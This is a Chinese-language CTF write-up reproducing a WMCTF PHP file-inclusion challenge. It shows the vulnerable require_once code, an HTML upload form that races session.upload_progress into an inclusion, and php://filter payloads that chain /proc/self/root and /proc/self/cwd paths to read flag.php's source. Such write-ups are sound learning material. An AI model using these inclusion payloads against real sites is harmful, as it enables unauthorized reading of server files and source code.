这个题目是之后赵师傅发了wp,自己进行复现的,因为自己比较菜,所以好多都是看师傅们的博客。
于是自己也来记录记录,下面还有一些问题,希望大佬们可以回答一下下。非常感谢!!!
题目代码:
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
$a=($_GET['file']);
require_once($a);
}
第一个是可以通过上传PHP_SESSION_UPLOAD_PROGRESS
然后进行访问/tmp/sess_xxx,进行文件包含
原理就是,条件竞争。如果不清楚看一看这篇文章利用session.upload_progress进行文件包含和反序列化渗透
#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="http://localhost:8000/ctf/wmctf/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
下面引用师傅们wp里面的照片
第二个方法是通过php的小truck
在这里有个小知识点,/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。
直接构造payload
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
然后在群里面看到有师傅使用
?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php
这个原理自己太菜不知道,还希望师傅们可以解释一下。
总结:
上面第一个方法的思想和我最近做的题有点像。
ctfshow
session序列化
参考:
https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649729209&idx=1&sn=78c1f6cf291e5cfca3088f02216ccffd&chksm=888c98d6bffb11c014d8f98437879564702bd35b100f4337cbdf1f3cff827edfa4b9a8672637&mpshare=1&scene=23&srcid=0812s60kjiOtHT66otXJWIHt&sharer_sharetime=1597388716474&sharer_shareid=33a823b10ae99f33a60db621d83241cb#rd
https://blog.frankli.site/2020/08/05/WMCTF2020-PHP-source-analysis/